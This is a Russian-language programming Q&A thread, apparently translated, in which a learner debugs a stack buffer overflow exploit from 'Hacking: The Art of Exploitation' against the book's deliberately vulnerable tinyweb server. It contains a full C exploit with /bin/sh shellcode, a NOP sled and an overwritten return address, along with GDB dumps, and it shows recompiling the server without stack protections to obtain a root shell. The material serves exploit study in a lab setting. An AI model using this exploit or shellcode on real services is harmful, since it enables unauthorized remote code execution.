Как исправить ошибку адреса возврата переполнения буфера? - PullRequest
5 голосов
/ 16 декабря 2011

Я работаю над переполнением буфера из Искусство эксплуатации Джона Эриксона уже несколько дней, и я не понимаю, почему у меня возникает ошибка сегментации,Насколько я могу судить, адрес возврата корректно перезаписывается адресом в слое NOP, но программа выдает ошибку сегментации каждый раз, когда достигает инструкции возврата в конце кадра стека.

Уязвимым разделом кода является length = recv_line(sockfd, request);, поскольку размер буфера никогда не проверяется.Вся функция, взятая из программы tinyweb, следует -

void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;

printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

ptr = strstr(request, " HTTP/");
if(ptr == NULL){
    printf(" NOT HTTP!\n");
} else {
    *ptr = 0;
    ptr = NULL;
    if(strncmp(request, "GET ", 4) == 0)
        ptr = request + 4;
    if(strncmp(request, "HEAD ", 5) ==0)
        ptr = request + 5;

    if(ptr == NULL){
        printf("\tUNKNOWN REQUEST!");
    } 
    else {
        if(ptr[strlen(ptr) -1] == '/')
            strcat(ptr, "index.html");
        strcpy(resource, WEBROOT);
        strcat(resource, ptr);
        fd = open(resource, O_RDONLY, 0);
        printf("\tOpening \'%s\'\t", resource);
        if(fd == -1){
            printf(" 404 Not Found\n");
            send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
            send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
            send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
            send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
        } 
        else{
            printf(" 200 OK\n");
            send_string(sockfd, "HTTP/1.0 200 OK\r\n");
            send_string(sockfd, "Server Tiny webserver\r\n\r\n");
            if(ptr == request + 4){
                if( (length = get_file_size(fd)) == -1)
                    fatal("getting resource file size");
                if( (ptr = (unsigned char *) malloc(length)) == NULL)
                    fatal("allocating memory for reading resource");
                read(fd, ptr, length);
                send(sockfd, ptr, length, 0);
                free(ptr);
            }
            close(fd);
        }
    }
}
printf("Shutting down socket.\n");
shutdown(sockfd, SHUT_RDWR);
printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
}

Код эксплойта следует ниже -

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#include "hacking.h"
#include "hacking-network.h"

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

#define OFFSET 524
#define RETADDR 0xbfdaf708

int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];

if(argc < 1){
    printf("Usage: %s <hostname> <# of A's to insert>\n", argv[0]);
    exit(1);
}

if((host_info = gethostbyname(argv[1])) == NULL)
    fatal("looking up hostname");

if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    fatal("in socket");

//count = atoi(argv[2]);
    //printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);

if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
    fatal("connecting to target server");

bzero(buffer, 600); 
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n"); 
printf("Exploit  buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);

exit(0);
}

Вот информация из GDB

:~/programs/c/exec$ ps aux | grep tinyweb
         2747  0.1  2.3  97432 48012 pts/1    Sl   Dec15   2:37 gedit tinyweb_exploit.c
root     12444  0.0  0.0   1688   248 pts/2    S+   18:32   0:00 ./tinyweb
         12456  0.0  0.0   4012   768 pts/0    S+   18:33   0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb

warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
    ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0  0x00aad4e0  0x0000000f  0xbfcee1c4
0xbfcee1b4: 0x00aacff4  0xbfcee218  0x08048e2f  0x00000004
0xbfcee1c4: 0xbfcee1e4  0x00000004  0xbfcee204  0x00000004
0xbfcee1d4: 0x0804aff4  0xbfcee1e8  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1  0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfe0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedff0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee000: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee010: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee020: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee070: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee080: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee090: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0d0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfcee0e0: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfcee0f0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfcee100: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee110: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee120: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee130: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee140: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee150: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee160: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee170: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee180: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee190: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee1a0: 0x90909090  0x90909090  0x90909090  0x00000211
0xbfcee1b0: 0x90909090  0x90909090  0x90909090  0xbfcee078
0xbfcee1c0: 0x0000000d  0xbfcee1e4  0x00000005  0xbfcee204
0xbfcee1d0: 0x00000004  0x0804aff4  0xbfcee1e8  0x08048658
0xbfcee1e0: 0x00000010  0xd4920002  0x0100007f  0x00000000
0xbfcee1f0: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfcee200: 0x00000000  0x00000001
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip            0x80491b1    0x80491b1 <handle_connection+893>
    (gdb) x/i 0x080491b1
=> 0x80491b1 <handle_connection+893>:   ret    

Запускается программа tinyweb, а затем к ней присоединяется GDB.Точка останова устанавливается, чтобы определить, где находится буфер в памяти (запрос @ 0xbfcedfb0).bt используется для определения текущего адреса возврата и его местоположения (адрес возврата 0x08048e2f расположен по адресу 0xbfcee1bc). Адрес возврата определяется как 524 байта из буфера.Эксплойт использует адрес возврата 200 байтов в буфере и помещает шеллкод в 300 байтов. После выполнения эксплойта проверяется буфер, содержащий след NOP, шелл-код и четко показывающий исходный адрес возврата на 0xbfcee1bcкоторый имел 0x08048e2f, теперь содержащий адрес 0xbfcee078, который явно является адресом в буфере, указывающем на NOP.Однако при продолжении программы возникает ошибка сегментации.После ошибки сегментации проверяется указатель инструкций, указывающий на строку в кадре стека соединений дескриптора.При рассмотрении это показывает инструкцию возврата.

Почему он вызывает ошибку сегментации в инструкции возврата, когда для нее есть действительный адрес памяти, чтобы он мог вернуться к ??

Редактировать 1

Я смущен Iне заметил этот шеллкод немного раньше.С другой стороны, я еще не использовал более ранние эксплойты из-за ASLR, поэтому никогда не смотрел так внимательно на шелл-код.В любом случае, вот что я изменил:

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";

............1.1.1......j.XQh//bin/sh..Q..S.....

К сожалению, я смотрю на ту же проблему.У меня есть еще немного GDB, показанное ниже.Насколько я могу судить, когда вызывается RET, переменная sockfd каким-то образом облажается, но, как показывают распечатки DEBUG, sockfd не изменяется.Я попытался пройти инструкции в конце, чтобы увидеть, что происходит, но это не показало много ...

[DEBUG] hc:3 sockfd is at bfefcae0 and contains 0x0000000d
 NOT HTTP!
 Shutting down socket.
[DEBUG] hc:4 sockfd is at bfefcae0 and contains 0x0000000d
Segmentation fault (core dumped)



(gdb) list 120
115                     send(sockfd, ptr, length, 0);
116                     free(ptr);
117                 }
118                 close(fd);
119             }
120         }
121     }
122     printf("Shutting down socket.\n");
123     shutdown(sockfd, SHUT_RDWR);
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd); 
125 }
126 
127 int get_file_size(int fd){
128     struct stat stat_struct;
129     
130     if(fstat(fd, &stat_struct) == -1)
131         return -1;
132     return (int) stat_struct.st_size;
133 }
134     
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) break 120
Breakpoint 2 at 0x804916f: file ../code/tinyweb.c, line 120.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
122     printf("Shutting down socket.\n");
(gdb) x/170xw request
0xbfefc8d0: 0x90909090  0x90909090  0x90909090  0x90909090
....Output Trimmed....
0xbfefc990: 0x90909090  0x90909090  0x90909090  0x90909090
                                    ^  
...Output Trimmed....               |________________________RET address location in NOP sled

0xbfefc9f0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfefca00: 0xb099c931  0x6a80cda4  0x6851580b  0x69622f2f
0xbfefca10: 0x68732f6e  0x8951e389  0xe18953e2  0x909080cd
0xbfefca20: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca30: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca50: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca60: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca80: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca90: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcaa0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcab0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcac0: 0x90909090  0x00000000  0x90909090  0x00000211

0xbfefcad0: 0x90909090  0x90909090  0x90909090  0xbfefc998<= RET address

0xbfefcae0: 0x0000000d  0xbfefcb04  0x00000006  0xbfefcb24
0xbfefcaf0: 0x00000004  0x0804aff4  0xbfefcb08  0x08048658
0xbfefcb00: 0x00000010  0xd9a40002  0x0100007f  0x00000000
0xbfefcb10: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfefcb20: 0x00000000  0x00000001  0x00000006  0x00000003
0xbfefcb30: 0x080491f0  0x00000000  0xbfefcbb8  0x00126ce7
0xbfefcb40: 0x00000001  0xbfefcbe4  0xbfefcbec  0xb7810848
0xbfefcb50: 0xbfefcc4c  0xffffffff  0x00b0dff4  0x08048497
0xbfefcb60: 0x00000001  0xbfefcba0  0x00aff136  0x00b0ead0
0xbfefcb70: 0xb7810b28  0x00268ff4

(gdb) bt
#0  handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
#1  0xbfefc998 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

(gdb) x/20i $eip
=> 0x804916f <handle_connection+827>:   movl   $0x804985b,(%esp)
   0x8049176 <handle_connection+834>:   call   0x804880c <puts@plt>
   0x804917b <handle_connection+839>:   mov    0x8(%ebp),%eax
   0x804917e <handle_connection+842>:   movl   $0x2,0x4(%esp)
   0x8049186 <handle_connection+850>:   mov    %eax,(%esp)
   0x8049189 <handle_connection+853>:   call   0x804868c <shutdown@plt>
   0x804918e <handle_connection+858>:   mov    0x8(%ebp),%edx
   0x8049191 <handle_connection+861>:   mov    $0x8049874,%eax
   0x8049196 <handle_connection+866>:   mov    %edx,0x8(%esp)
   0x804919a <handle_connection+870>:   lea    0x8(%ebp),%edx
   0x804919d <handle_connection+873>:   mov    %edx,0x4(%esp)
   0x80491a1 <handle_connection+877>:   mov    %eax,(%esp)
   0x80491a4 <handle_connection+880>:   call   0x804878c <printf@plt>
   0x80491a9 <handle_connection+885>:   add    $0x414,%esp
   0x80491af <handle_connection+891>:   pop    %ebx
   0x80491b0 <handle_connection+892>:   pop    %ebp
   0x80491b1 <handle_connection+893>:   ret    
   0x80491b2 <get_file_size>:   push   %ebp
   0x80491b3 <get_file_size+1>: mov    %esp,%ebp
   0x80491b5 <get_file_size+3>: sub    $0x78,%esp
(gdb) s
123     shutdown(sockfd, SHUT_RDWR);
(gdb) x/x &sockfd
0xbfefcae0: 0x0000000d
(gdb) s
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
(gdb) i r eip
eip            0x804918e    0x804918e <handle_connection+858>
(gdb) s
125 }
(gdb) x/10i $eip
=> 0x80491a9 <handle_connection+885>:   add    $0x414,%esp
   0x80491af <handle_connection+891>:   pop    %ebx
   0x80491b0 <handle_connection+892>:   pop    %ebp
   0x80491b1 <handle_connection+893>:   ret    
   0x80491b2 <get_file_size>:   push   %ebp
   0x80491b3 <get_file_size+1>: mov    %esp,%ebp
   0x80491b5 <get_file_size+3>: sub    $0x78,%esp
   0x80491b8 <get_file_size+6>: lea    -0x60(%ebp),%eax
   0x80491bb <get_file_size+9>: mov    %eax,0x4(%esp)
   0x80491bf <get_file_size+13>:    mov    0x8(%ebp),%eax
(gdb) si
0x080491af  125 }
(gdb) i r eip
eip            0x80491af    0x80491af <handle_connection+891>
(gdb) si
0x080491b0  125 }
(gdb) i r eip
eip            0x80491b0    0x80491b0 <handle_connection+892>
(gdb) info registers
eax            0x3b 59
ecx            0xbfefc6a8   -1074805080
edx            0x26a360 2532192
ebx            0x90909090   -1869574000
esp            0xbfefcad8   0xbfefcad8
ebp            0xbfefcad8   0xbfefcad8
esi            0x0  0
edi            0x0  0
eip            0x80491b0    0x80491b0 <handle_connection+892>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) si
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
    (gdb) x/x sockfd
    Cannot access memory at address 0x90909098
    (gdb) x/x &sockfd
    0x90909098: Cannot access memory at address 0x90909098

Есть мысли о том, что происходит?

Ответы [ 3 ]

6 голосов
/ 16 января 2012

Как и было обещано ранее ... вот объяснение вместе с исправлением.

Причина, по которой эксплойт не удался в моей системе (Ubuntu 10.10), был результатом реализации неисполняемого стека (обратите внимание на окончание RW)

$ gcc -fno-stack-protector -g -z noexecstack -o tinyweb ../code/tinyweb.c && readelf -l   
tinyweb_exploit | grep -i stack

GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

Это привело к следующему выводу GDB.

    Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),            
ntohs     (client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfff1c54: 0x00d09d90  0xbfff1c90  0x0000000f  0x00000003
0xbfff1c64: 0x00268ff4  0xbfff1cc8  0x08048cec  0x00000004 
          Programs return address at 0xbfff1c6c---^
0xbfff1c74: 0xbfff1c94  0xbfff1c90  0xbfff1cb4  0x00000004
0xbfff1c84: 0x0804aff4  0xbfff1c98  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
#1  0x08048cec in main () at ../code/tinyweb.c:49

(gdb) x/150x request
----Output Trimmed----
0xbfff1b70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1b80: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfff1b90: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfff1ba0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfff1bb0: 0x90909090  0x90909090  0x90909090  0x90909090
----Output Trimmed----
0xbfff1c40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1c50: 0x90909090  0x00000000  0x90909090  0x00000211
0xbfff1c60: 0x90909090  0x90909090  0x90909090  0xbfff1b28 
                              Overwritten Return Address-^
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048fff in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:110
110 }
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

Хотя это и не показано, адрес возврата теперь содержит действительную ячейку памяти, расположенную выше в стеке. Вот вывод из веб-программы ....

Request 127.0.0.1:44576 "����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
��������������������������������������1�1�1ə��̀j

        Xqh//shh/bin��Q��S��̀�����������������������
    �����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�##"

 NOT HTTP!

Shutting down socket.

Segmentation fault

Как уже отмечалось, эксплойт терпит неудачу. После отключения защиты от разрушения стека и обеспечения возможности выполнения стека, хотя ....

    $ gcc -z execstack -fno-stack-protector -g -o tinyweb ../code/tinyweb.c && readelf -l  tinyweb | grep      
-i stack
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),     
ntohs(client_addr_ptr->sin_port), request);
(gdb) c
Continuing.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:109
109     shutdown(sockfd, SHUT_RDWR);
(gdb) c
Continuing.
process 13666 is executing new program: /bin/dash

И вернемся к выводу веб-сервера .....

Request 127.0.0.1:52107 "������������������������
��������������������������������������������
��������������������������������������������
��������������������������������������������
���������������������������������������������
���������������������������������������������
���������������������������������������1�1�1ə��̀j

                                                                              Xqh//shh/bin��Q��S��̀���������
������������������������������������������������
������������������������������������������������
�����������������������������������������������
���������������������##"

NOT HTTP!

Shutting down socket.

# whoami

root

Успех.

Это надуманный пример настройки, специально предназначенный для того, чтобы поиграть и узнать, как работают переполнения буфера, но полезно усвоить общий урок о работе с текущими мерами защиты. В поисках ответа я нашел этот пост об этом, который хорошо просматривает Smashing the Stack для удовольствия и прибыли и объясняет изменения, которые разработчики сделали, чтобы усложнить использование программ.

http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/

Надеюсь, это поможет любому, кто столкнется с теми же проблемами в будущем.

0 голосов
/ 09 января 2012

I думаю после того, как вы пройдете мимо этой инструкции:

=> 0x80491a9 <handle_connection+885>:   add    $0x414,%esp

... GDB утратил способность выяснять, где на самом деле находится sockfd (потому что указатель стека изменился)и поэтому сообщает, что вместо этого он является частью салазок NOP.

Тот факт, что sockfd не был перезаписан, объясняется просто соглашением о вызовах x86 (помните, что каждая из этих операций является вычитание из указателя стека):

  1. Параметры, помещенные в стек
  2. Адрес возврата, помещенный в стек
  3. Локальные переменные, помещенные в стек

Ваш эксплойт переписал (2) и (3), но не (1), поэтому sockfd остается без изменений.(просто после того, как вы перейдете к изменению %esp, GDB не сможет выяснить, что было sockfd.)

Что было бы более интересно, если вы продолжите шаг за шагом ret инструкция, чтобы увидеть, что будет дальше.Вы остановили редактирование прямо перед интересной частью.; -)

0 голосов
/ 16 декабря 2011

попробуйте проверить ассемблерный код перед вашим continue:

x/10i $eip

и попробуйте stepi ваш код вместо continue.

PS : я не знаю для вашей книги, но в моем "Искусстве эксплуатации" было много искусственных ошибок в коде (например, /shh/bin вместо /bin/sh и много других). трудно заметные из них). Я думаю, что они сделаны намеренно, чтобы защитить Интернет от множества так называемых детишек сценариев, которые просто скопируют и вставят код эксплойтов. Так что, может быть, этот пример содержит и такого рода «ошибку».

...